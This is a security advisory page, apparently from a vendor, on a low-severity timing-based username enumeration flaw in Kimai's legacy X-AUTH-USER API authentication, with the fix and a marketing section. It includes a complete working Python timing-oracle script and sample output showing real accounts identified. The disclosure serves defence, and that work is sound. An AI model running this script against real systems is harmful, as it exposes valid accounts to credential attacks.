GHSA-jrc6-fmhw-fpq2 — kimai/kimai
LOWGHSA-jrc6-fmhw-fpq2 is a low-severity (CVSS 3.7) CWE-208 vulnerability in kimai/kimai. A fix is available for kimai/kimai — see the affected versions and patch details below.
Kimai: Username enumeration via timing on X-AUTH-USER
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jrc6-fmhw-fpq2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jrc6-fmhw-fpq2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
kimai/kimaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Details
src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.
The /api/* firewall has no login_throttling configured, so the probe is unbounded.
The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.
Proof of concept
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""
import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request
PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32
def probe(url, user, ctx):
req = urllib.request.Request(
url + PROBE_PATH,
headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
)
t0 = time.perf_counter()
try:
urllib.request.urlopen(req, context=ctx, timeout=10).read()
except urllib.error.HTTPError as e:
e.read()
return (time.perf_counter() - t0) * 1000.0
def median_ms(url, user, samples, ctx):
return statistics.median(probe(url, user, ctx) for _ in range(samples))
def load_candidates(path):
with open(path) as f:
return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]
def main():
ap = argparse.ArgumentParser(description=__doc__.strip())
ap.add_argument("-u", "--url", required=True,
help="base URL, e.g. https://kimai.example")
ap.add_argument("-l", "--list", required=True, metavar="FILE",
help="one candidate username per line")
ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
help="median delta over baseline that flags a real user")
ap.add_argument("-n", "--samples", type=int, default=15)
ap.add_argument("--verify-tls", action="store_true")
args = ap.parse_args()
url = args.url.rstrip("/")
ctx = None if args.verify_tls else ssl._create_unverified_context()
candidates = load_candidates(args.list)
baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
print(f"baseline: {baseline:.1f} ms", file=sys.stderr)
width = max(len(u) for u in candidates)
print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
print("-" * (width + 30))
for user in candidates:
m = median_ms(url, user, args.samples, ctx)
delta = m - baseline
verdict = "REAL" if delta > args.threshold else "-"
print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")
if __name__ == "__main__":
main()
Usage:
$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)
username median delta verdict
----------------------------------------------------------
[email protected] 64.2ms +26.5ms REAL
[email protected] 72.4ms +34.7ms REAL
[email protected] 70.0ms +32.3ms REAL
[email protected] 37.2ms -0.5ms -
admin 63.6ms +25.9ms REAL
administrator 38.2ms +0.4ms -
root 37.3ms -0.4ms -
test 33.6ms -4.1ms -
demo 38.2ms +0.5ms -
kimai 37.0ms -0.7ms -
nonexistent_user_aaa 38.1ms +0.4ms -
nonexistent_user_bbb 37.5ms -0.2ms -
nonexistent_user_ccc 38.4ms +0.7ms -
In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.
Fix
In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:
private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';
try {
$user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
$this->passwordHasherFactory
->getPasswordHasher(User::class)
->verify(self::DUMMY_HASH, $credentials['password']);
throw $e;
}
The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.
Relevance
The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | kimai/kimai | all versions | 2.54.0composer require kimai/kimai:^2.54.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for kimai/kimai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update kimai/kimai to 2.54.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jrc6-fmhw-fpq2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jrc6-fmhw-fpq2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jrc6-fmhw-fpq2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jrc6-fmhw-fpq2 in your dependencies?
O3 Security finds GHSA-jrc6-fmhw-fpq2 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.